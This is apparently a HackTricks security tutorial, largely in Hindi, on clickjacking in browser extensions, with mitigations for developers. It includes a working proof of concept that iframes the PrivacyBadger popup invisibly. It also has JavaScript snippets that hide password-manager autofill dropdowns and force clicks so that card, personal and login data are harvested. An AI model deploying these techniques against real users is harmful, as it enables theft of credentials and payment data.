BrowExt - ClickJacking

Reading time: 10 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

बेसिक जानकारी

This page is going to abuse a ClickJacking vulnerability in a Browser extension.
यदि आप नहीं जानते कि ClickJacking क्या है तो देखें:

Clickjacking

Extensions में फ़ाइल manifest.json होती है और उस JSON फ़ाइल में एक फ़ील्ड web_accessible_resources होता है। यहाँ the Chrome docs का कहना है:

ये resources तब एक webpage में URL chrome-extension://[PACKAGE ID]/[PATH] के माध्यम से उपलब्ध होंगे, जिसे extension.getURL method से जनरेट किया जा सकता है। Allowlisted resources उचित CORS headers के साथ सर्व किए जाते हैं, इसलिए वे XHR जैसी mechanisms के माध्यम से उपलब्ध होते हैं.1

Browser extension में web_accessible_resources केवल web के माध्यम से उपलब्ध ही नहीं होते; वे extension के inherent privileges के साथ भी काम करते हैं। इसका मतलब है कि उनके पास निम्नलिखित क्षमताएँ होती हैं:

  • Extension की state बदलना
  • अतिरिक्त resources लोड करना
  • एक सीमित हद तक browser के साथ interact करना

हालाँकि, यह फीचर एक security risk पैदा करता है। यदि web_accessible_resources के भीतर कोई resource कोई महत्वपूर्ण functionality रखता है, तो attacker संभवतः इस resource को किसी external web page में embed कर सकता है। अनजान users जो उस पृष्ठ पर जाते हैं, अनजाने में इस embedded resource को activate कर सकते हैं। इस तरह का activation extension के resources की permissions और capabilities के आधार पर अनचाहे परिणाम ला सकता है।

PrivacyBadger Example

Extension PrivacyBadger में एक vulnerability पहचानी गई जो skin/ directory के web_accessible_resources के रूप में घोषित होने से संबंधित थी, निम्नलिखित तरीके से (मूल blog post देखें):

json
"web_accessible_resources": [
"skin/*",
"icons/*"
]

यह कॉन्फ़िगरेशन एक संभावित सुरक्षा समस्या का कारण बना। विशेष रूप से, skin/popup.html फ़ाइल, जो ब्राउज़र में PrivacyBadger आइकन के साथ इंटरैक्शन होने पर प्रदर्शित होती है, को एक iframe में एम्बेड किया जा सकता था। इस एम्बेडिंग का दुरुपयोग करके उपयोगकर्ताओं को धोखा दे कर वे अनजाने में "Disable PrivacyBadger for this Website" पर क्लिक कर सकते थे। ऐसा करने से उपयोगकर्ता की गोपनीयता प्रभावित होती क्योंकि PrivacyBadger की सुरक्षा अक्षम हो जाती और संभवतः उपयोगकर्ता अधिक ट्रैकिंग के संपर्क में आ जाता। इस एक्सप्लॉइट का एक दृश्य प्रदर्शन ClickJacking वीडियो उदाहरण में देखा जा सकता है: https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm.

इस भेद्यता को संबोधित करने के लिए, एक सरल समाधान लागू किया गया: web_accessible_resources की सूची से /skin/* को हटाना। इस परिवर्तन ने जोखिम को प्रभावी ढंग से कम कर दिया क्योंकि इससे यह सुनिश्चित हुआ कि skin/ निर्देशिका की सामग्री web-accessible resources के माध्यम से एक्सेस या मैनिपुलेट नहीं की जा सके।

फिक्स आसान था: /skin/* को web_accessible_resources से हटाएँ.

PoC

html
<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->

<style>
iframe {
width: 430px;
height: 300px;
opacity: 0.01;
float: top;
position: absolute;
}

#stuff {
float: top;
position: absolute;
}

button {
float: top;
position: absolute;
top: 168px;
left: 100px;
}
</style>

<div id="stuff">
<h1>Click the button</h1>
<button id="button">click me</button>
</div>

<iframe
src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
</iframe>

Metamask उदाहरण

A blog post about a ClickJacking in metamask can be found here. In this case, Metamask ने vulnerability को ठीक किया यह जांच कर के कि इसे एक्सेस करने के लिए उपयोग किया गया protocol https: या http: था (उदाहरण के लिए chrome: नहीं):

Another ClickJacking fixed in the Metamask extension was that users were able to Click to whitelist when a page was suspicious of being phishing because of “web_accessible_resources”: [“inpage.js”, “phishing.html”]. चूंकि वह पेज Clickjacking के लिए vulnerable था, एक attacker इसका दुरुपयोग कर सकता था — कुछ सामान्य दिखाकर victim को बिना ध्यान दिए whitelist करने के लिए क्लिक करवाना, और फिर phishing पेज पर वापस जाकर जिसे whitelist कर दिया जाएगा।

Steam Inventory Helper उदाहरण

नीचे दिए पृष्ठ को देखें कि कैसे browser extension में एक XSS को ClickJacking vulnerability के साथ जोड़ा गया था:

BrowExt - XSS Example


DOM-based Extension Clickjacking (Password Manager Autofill UIs)

Classic extension Clickjacking misconfigured web_accessible_resources का दुरुपयोग करके privileged HTML को iframe करता है और user clicks को drive करवा देता है। एक नई श्रेणी, DOM-based extension Clickjacking, password managers द्वारा पेज DOM में inject किए गए autofill dropdowns को target करती है और उन्हें छुपाने या occlude करने के लिए CSS/DOM tricks का उपयोग करती है, जबकि उन्हें clickable बनाए रखती है। एक मजबूर किया गया क्लिक एक stored item चुन सकता है और attacker-controlled inputs में sensitive data भर सकता है।

Threat model

  • Attacker उस webpage को control करता है (या संबंधित domain पर XSS/subdomain takeover/cache poisoning हासिल कर लेता है)।
  • Victim के पास password manager extension installed और unlocked है (कुछ autofill नाममात्र locked होने पर भी चलता है)।
  • कम से कम एक user click induced किया जाता है (overlayed cookie banners, dialogs, CAPTCHAs, games, आदि)।

Attack flow (manual autofill)

  1. एक invisible लेकिन focusable form inject करें (login/PII/credit-card fields)।
  2. एक input को focus करें ताकि extension का autofill dropdown फ़ील्ड के पास प्रदर्शित हो।
  3. extension UI को छुपाएँ या occlude करें जबकि उसे interactable रखें।
  4. hidden dropdown के नीचे एक विश्वसनीय control को align करें ताकि एक क्लिक को मजबूर किया जा सके जो किसी item को select करे।
  5. attacker form से भरे हुए values पढ़ें और exfiltrate करें।

Autofill UI को कैसे छुपाएँ

  • Extension element
  • Root element opacity (generic):
js
// Reduce or nullify opacity of the extension root
// Works when the root element is attached in the page DOM
const root = document.querySelector('protonpass-root')
if (root) root.style.opacity = 0
  • open ShadowRoot के अंदर Child (डायनामिक टैग, आंतरिक iframe को छुपाना):
js
// Find dynamic root like <protonpass-root-xyz> and hide its child iframe
const root = Array.from(document.querySelectorAll('*'))
.find(el => el.tagName.toLowerCase().startsWith('protonpass-root-'))
if (root?.shadowRoot) {
const frame = root.shadowRoot.querySelector('iframe')
if (frame) frame.style.cssText += 'opacity:0 !important;'
}
  • अभिभावक तत्व
  • BODY/HTML opacity ट्रिक्स ताकि extension UI अदृश्य हो जबकि पेज सामान्य दिखता रहे (उदा., screenshot background):
js
// Hide full page, then reveal a tiny amount to keep clicks working
document.body.style.opacity = 0
// Optional: Show a screenshot/lookalike to avoid a blank screen
// document.documentElement.style.backgroundImage = 'url(website.png)'

// Inject a credit-card form and focus to trigger dropdown
/* create #cardform with #cardnumber, #expiry, #cvc */
document.getElementById('cardnumber').focus()
// Make body barely visible to allow user interaction
document.body.style.opacity = '0.001'

function getCardValues() {
const num = document.getElementById('cardnumber').value
const exp = document.getElementById('expiry').value
const cvc = document.getElementById('cvc').value
// exfiltrate via XHR/fetch/websocket
}
  • Overlay
  • Partial overlay: सभी चीज़ों को ढक दें सिवाय कुछ पिक्सलों के ताकि dropdown क्लिक करने योग्य रहे (सुनिश्चित करें attacker overlay DOM में आख़िरी हो और max z-index हो, या Top Layer का उपयोग करें).
  • Full overlay using pointer-events:none so clicks pass through to the hidden dropdown; keep it persistent with the Popover API:
html
<div id="overlay" popover style="pointer-events:none;">Cookie consent</div>
<script>
overlay.showPopover()
// Inject a personal data form and focus to trigger dropdown
/* create #personalform with #name/#email/#phone/... */
document.getElementById('name').focus()
function getData(){ /* read + exfil values on change */ }
</script>

पीड़ित के क्लिक की स्थिति

  • Fixed placement: छिपे हुए ड्रॉपडाउन को किसी विश्वसनीय नियंत्रण के नीचे रखें जैसे “कुकीज़ स्वीकार करें”, “बंद करें”, या CAPTCHA चेकबॉक्स।
  • Follow-mouse: फोकस किया गया इनपुट कर्सर के नीचे ले जाएँ ताकि ड्रॉपडाउन उसका अनुसरण करे; समय-समय पर फिर से फोकस करें ताकि किसी भी जगह एक क्लिक करने पर आइटम चुना जा सके:
js
const f = document.getElementById('name')
document.addEventListener('mousemove', e => {
personalform.style = `top:${e.pageY-50}px;left:${e.pageX-100}px;position:absolute;`
// some managers hide the dropdown if focus is lost; refocus slowly
setTimeout(() => f.focus(), 100)
})

प्रभाव और परिदृश्य

  • हैकर-नियंत्रित साइट: एक मजबूर क्लिक से क्रेडिट कार्ड डेटा (number/expiry/CVC) और व्यक्तिगत जानकारी (name, email, phone, address, DOB) जो domain-scoped नहीं हैं, बाहर निकाली जा सकती है।
  • Trusted site with XSS/subdomain takeover/cache poisoning: credentials (username/password) और TOTP की multi-click चोरी, क्योंकि कई managers संबंधित subdomains/parent domains (e.g., *.example.com) पर autofill करते हैं।
  • Passkeys: अगर RP WebAuthn challenges को session से बाइंड नहीं करता, तो XSS signed assertion को इंटरसेप्ट कर सकता है; DOM-based clickjacking passkey prompt छुपा कर user का confirming click निकाल सकता है।

सीमाएँ

  • कम से कम एक user click और अच्छा pixel alignment आवश्यक है (realistic overlays क्लिक करवाना आसान बनाते हैं)।
  • Auto-lock/logout exploitation की विंडो कम कर देता है; कुछ managers अभी भी “locked” होते हुए autofill करते हैं।

Extension developer mitigations

  • Top Layer (Popover API) में autofill UI render करें या सुनिश्चित करें कि यह page stacking के ऊपर बैठे; page-controlled overlays द्वारा ढका न जाए।
  • CSS tampering का विरोध करें: Closed Shadow DOM प्राथमिकता दें और UI roots पर संदिग्ध style बदलावों के लिए MutationObserver से मॉनिटर करें।
  • भरने से पहले hostile overlays का पता लगाएँ: अन्य top-layer/popover elements को enumerate करें, अस्थायी रूप से pointer-events:none disable करें, और occlusion पता करने के लिए elementsFromPoint() का उपयोग करें; अगर overlays मौजूद हों तो UI बंद कर दें।
  • रेंडर से पहले और बाद दोनों में <body>/<html> की opacity या style में संदिग्ध बदलावों का पता लगाएँ।
  • iframe-आधारित मुद्दों के लिए: MV3 web_accessible_resources matches को संकुचित रखें और HTML UIs को expose करने से बचें; अगर अनिवार्य HTML है, तो X-Frame-Options: DENY या Content-Security-Policy: frame-ancestors 'none' परोसें।

संदर्भ

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें